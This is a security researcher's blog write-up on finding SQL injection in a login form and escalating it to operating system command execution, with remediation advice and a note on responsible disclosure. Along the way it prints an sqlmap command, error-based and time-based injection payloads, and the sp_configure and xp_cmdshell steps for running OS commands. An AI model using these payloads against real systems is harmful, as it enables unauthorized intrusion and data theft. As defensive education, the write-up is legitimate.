June 20, 2026
I Tested a Login Form and Accidentally Found Remote Code Execution
Category: Web Application Security Vulnerability Chain: SQL Injection → Database Access → Remote Code Execution Severity: Critical Status…
Abdelrhmanelmoghazy
4 min read
Category: Web Application Security Vulnerability Chain: SQL Injection → Database Access → Remote Code Execution Severity: Critical Status: Responsibly Reported
— -
«"It's just a login form."
— Famous last words .»
— -
The Beginning
Every security researcher has experienced this moment.
You open a web application.
Nothing looks particularly interesting.
No fancy JavaScript framework.
No complex API.
No exotic attack surface.
Just a login form.
-
— — — — — — — — — — — — + | Student/User Code |
-
— — — — — — — — — — — — +
-
— — — — — — — — — — — — + | Secondary Identifier |
-
— — — — — — — — — — — — +
[ Login ]
The kind of page you forget five seconds after seeing it.
Or at least that's what I thought.
A few minutes later I was staring at database errors.
An hour later I had operating system command execution.
Let's talk about how that happened.
— -
The First Red Flag
While inspecting the page I noticed something interesting.
The frontend seemed heavily dependent on client-side validation.
Now, client-side validation is great for user experience.
It's terrible as a security control.
So naturally I started feeding the application input it probably wasn't expecting.
Nothing destructive.
Just enough to see how it behaved.
The response?
A raw SQL error.
Not:
Something went wrong.
Not:
Please try again later.
A full database error.
At that point the application and I were no longer strangers.
— -
Confirming the Injection
I decided to let SQLMap have a look.
For anyone unfamiliar with SQLMap, it is the Sherlock Holmes of SQL injection — except it doesn't judge you for not seeing it first. Actually, it a little bit judges you."
The command looked something like:
sqlmap -u "https://redacted.example/login" \
- forms \
- crawl=2 \
- random-agentsqlmap -u "https://redacted.example/login" \
- forms \
- crawl=2 \
- random-agentAfter identifying the form, SQLMap quickly resumed previous testing and started evaluating the parameter.
The results were… educational.
— -
Not One Injection
Not two.
Three.
Three different SQL injection techniques in a single parameter.
That is not usually what you want to see in production.
— -
- Error-Based SQL Injection
The application happily returned database errors directly to the client.
A simplified example looked like:
' AND [CONDITION] -' AND [CONDITION] -Every time the query broke, the application politely explained why.
Security researchers call this "information disclosure."
Attackers call it "documentation."
— -
-- Error-based SQL injection payload
-- Causes the DB to leak internal error details
' AND EXTRACTVALUE(1, CONCAT(0x7e,
(SELECT version())
))--
-- Simplified form used during testing:
' AND [CONDITION]--
-- Response: raw DB error including query context
-- Information that should never reach the client-- Error-based SQL injection payload
-- Causes the DB to leak internal error details
' AND EXTRACTVALUE(1, CONCAT(0x7e,
(SELECT version())
))--
-- Simplified form used during testing:
' AND [CONDITION]--
-- Response: raw DB error including query context
-- Information that should never reach the client«The database was significantly more talkative than it should have been.»
— -
- Stacked Queries
Then things got more interesting.
The backend supported stacked queries.
Meaning:
SELECT something; SELECT something_else;
could execute as multiple statements.
A simplified payload looked like:
'; WAITFOR DELAY '0:0:5' —
The response arrived exactly five seconds later.
Every time.
Which is generally not what you want when a user submits a login form.
— -
-- Stacked query: forces a 5-second server delay
'; WAITFOR DELAY '0:0:5'--
-- Time-based blind: works even without error output
' WAITFOR DELAY '0:0:5'--
-- Both returned responses exactly 5 seconds late.
-- Every. Single. Time.
-- Stacked queries also enabled OS command execution:
EXEC xp_cmdshell 'systeminfo';-- Stacked query: forces a 5-second server delay
'; WAITFOR DELAY '0:0:5'--
-- Time-based blind: works even without error output
' WAITFOR DELAY '0:0:5'--
-- Both returned responses exactly 5 seconds late.
-- Every. Single. Time.
-- Stacked queries also enabled OS command execution:
EXEC xp_cmdshell 'systeminfo';«When a login request suddenly develops a sense of timing.»
— -
- Time-Based Blind SQL Injection
Even if error messages had been disabled, the application still leaked information through response timing.
' WAITFOR DELAY '0:0:5' —
Five seconds.
Every request.
Reliable.
Predictable.
Beautiful.
From an attacker's perspective, anyway.
— -
At This Point I Had Two Theories
Theory #1:
I was misunderstanding something.
Theory #2:
The application was catastrophically vulnerable.
I tested again.
It was theory #2.
— -
The Database Situation
Once enumeration began, things escalated quickly.
The environment contained multiple databases and a significant amount of sensitive operational data.
A simplified representation looked something like this:
Database
├── User Records
├── Financial Data
├── Communications
├── Administration
├── Internal Services
└── Historical BackupsDatabase
├── User Records
├── Financial Data
├── Communications
├── Administration
├── Internal Services
└── Historical BackupsThe presence of backup databases on the same production environment was particularly interesting.
And by "interesting" I mean "concerning."
— -
The Part Where Things Get Uncomfortable
SQL Injection is bad.
Access to sensitive data is worse.
But stacked queries on SQL Server unlock an entirely different category of problems.
Specifically:
Operating system command execution.
The possibility existed.
The question was whether it worked.
A harmless verification command was issued.
But before getting to what that command was — a quick detour into why this is actually terrifying.
SQL Server ships with a built-in stored procedure called xp_cmdshell. It runs Windows operating system commands. Directly from a SQL query. As in: you type SQL, Windows executes it. Microsoft disables it by default, presumably because someone at Microsoft has common sense.
The problem with stacked queries is that they let you have a conversation with the database. A very persuasive one.
It goes something like this:
Step 1: unlock advanced configuration options
EXEC sp_configure show advanced options
Step 2: turn on xp_cmdshell
EXEC sp_configure xp_cmdshell
Step 3: run anything you want on the operating system
EXEC xp_cmdshell systeminfo
Three lines. That's the distance between a login form and a Windows terminal.Step 1: unlock advanced configuration options
EXEC sp_configure show advanced options
Step 2: turn on xp_cmdshell
EXEC sp_configure xp_cmdshell
Step 3: run anything you want on the operating system
EXEC xp_cmdshell systeminfo
Three lines. That's the distance between a login form and a Windows terminal.Three queries. Microsoft said no. The database said yes anyway.
The harmless command chosen to verify this was systeminfo. Basic. Boring. The kind of thing an admin runs on a Monday morning to check what machine they're on.
The server responded.
Immediately.
At that moment the attack chain changed from:
Login Form │ ▼ Database Access
to:
Login Form │ ▼ SQL Injection │ ▼ Database Access │ ▼ Operating System Access
And that is usually where security teams stop smiling.
Root Cause
After all the testing, all the enumeration, all the escalation…
The root cause was probably something painfully familiar.
Something like:
string query =
"SELECT * FROM Users WHERE ID='"
+ userInput +
"'";string query =
"SELECT * FROM Users WHERE ID='"
+ userInput +
"'";Years of infrastructure.
Multiple databases.
Sensitive information.
Operating system access.
All hanging off one concatenated string.
— -
string query =
"SELECT * FROM Users WHERE ID='"
+ userInput +
"'";string query =
"SELECT * FROM Users WHERE ID='"
+ userInput +
"'";«Somewhere, a security engineer just felt a disturbance in the force.»
— -
The Fix
Fortunately, the solution is neither complicated nor new.
Parameterized queries have existed for decades.
string query = "SELECT * FROM Users WHERE ID=@ID";
SqlCommand cmd = new SqlCommand(query, connection);
cmd.Parameters.AddWithValue( "@ID", userInput );
One version treats input as code.
The other treats input as data.
That distinction is the difference between a login form and a security incident.
— -
string query =
"SELECT * FROM Users WHERE ID=@ID";
cmd.Parameters.AddWithValue(
"@ID",
userInput
);string query =
"SELECT * FROM Users WHERE ID=@ID";
cmd.Parameters.AddWithValue(
"@ID",
userInput
);«One of these queries gets you a promotion. The other gets you an incident response meeting.»
— -
Remediation Recommendations
- Parameterize every database query
- Remove raw SQL errors from responses
- Apply least-privilege permissions
- Review legacy code paths
- Monitor abnormal query behavior
- Deploy defensive controls such as WAF rules
- Regularly audit authentication endpoints
— -
Lessons Learned
The interesting thing about this vulnerability wasn't the SQL Injection itself.
SQL Injection has existed for decades.
The interesting part was how far a single vulnerable input field could take an attacker.
A login form became database access.
Database access became command execution.
Command execution became complete compromise.
All because one piece of user input was trusted when it shouldn't have been.
The technology changed.
The lesson didn't.
Never trust user input.
Always use parameterized queries.
— -
Responsible Disclosure
This issue was reported responsibly.
Testing was limited to what was necessary to verify impact and provide remediation guidance.
No sensitive data was accessed beyond what was required to demonstrate severity.
The goal of security research is simple:
Find problems before malicious actors do.